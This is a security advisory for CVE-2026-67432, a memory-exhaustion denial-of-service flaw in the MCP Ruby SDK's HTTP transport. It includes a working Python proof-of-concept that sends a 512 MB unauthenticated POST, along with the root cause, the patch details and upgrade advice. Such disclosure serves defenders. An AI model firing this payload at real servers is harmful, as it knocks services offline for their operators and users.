CVE-2026-67432: mcp (Ruby SDK) Unbounded Request Body Memory Exhaustion
Any MCP Ruby SDK HTTP server can be crashed by one unauthenticated POST because the transport reads the entire request body into memory with no size limit, letting an attacker inflate the worker…

The problem
MCP::Server::Transports::StreamableHTTPTransport calls request.body.read with no upper bound, then passes the result to JSON.parse(body, symbolize_names: true), which materialises the full object graph and allocates a Ruby Symbol for every JSON key.
The vulnerable code path runs before session validation, so it is reachable without any Mcp-Session-Id header and in both stateful and stateless: true modes. A single 512 MB POST grew a test worker from 44 MB to 1.66 GB RSS (~37x amplification); workers with a 2 GB cap are OOM-killed by one request.
Proof of concept
A working proof-of-concept for CVE-2026-67432 in mcp, with the exact payload below.
import socket
HOST, PORT, PAYLOAD_MB = "127.0.0.1", 9293, 512
inner = b"A" * (PAYLOAD_MB * 1024 * 1024 - 64)
body = b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"x":"' + inner + b"\"}"
body += b'}'
headers = (
f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
f"Content-Type: application/json\r\n"
f"Accept: application/json, text/event-stream\r\n"
f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode()
s = socket.create_connection((HOST, PORT), timeout=120)
s.sendall(headers)
for i in range(0, len(body), 1 << 20):
s.sendall(body[i:i + (1 << 20)])
print(f"sent {PAYLOAD_MB} MB")
try:
print("recv:", s.recv(2048)[:200])
except OSError as e:
print("server unresponsive:", e)The root cause is CWE-770: no quota is applied before request.body.read on line 341 of streamable_http_transport.rb, so body size is bounded only by available RAM. The symbolize_names: true flag to JSON.parse worsens amplification because every unique JSON key allocates a permanent Ruby Symbol on the heap.
The patch (commit 772e0cb1f9db69312006926eee59a7287ad50166) introduces a configurable max_body_size parameter with a hard default of 4 MiB (4 * 1024 * 1024 bytes). The handler now checks the Content-Length header and/or the actual bytes read against that limit and returns HTTP 413 before parsing, cutting off the attack at intake.
The fix
Upgrade the mcp gem to version 0.23.0. The fix enforces a 4 MiB default body-size cap (max_body_size: 4 * 1024 * 1024) in StreamableHTTPTransport before any body.read or JSON.parse call. If your deployment legitimately needs larger payloads you can raise the limit via the constructor option, but set it explicitly rather than leaving it unbounded.
Also consider placing a reverse proxy (nginx, Caddy) in front with its own client_max_body_size directive as a second layer of defence.
Reported by koic.
Related research
- highCVE-2026-59950CVE-2026-59950: mcp WebSocket Transport Missing Origin Validation
- high · 7.6CVE-2026-52870CVE-2026-52870: mcp (Python SDK) Missing Authorization on Experimental Task Handlers
- high · 7.1CVE-2026-52869CVE-2026-52869: mcp (Python SDK) Session Authorization Bypass
- high · 7.5CVE-2026-50276CVE-2026-50276: datadog (dd-trace-rb) W3C Baggage Header Denial of Service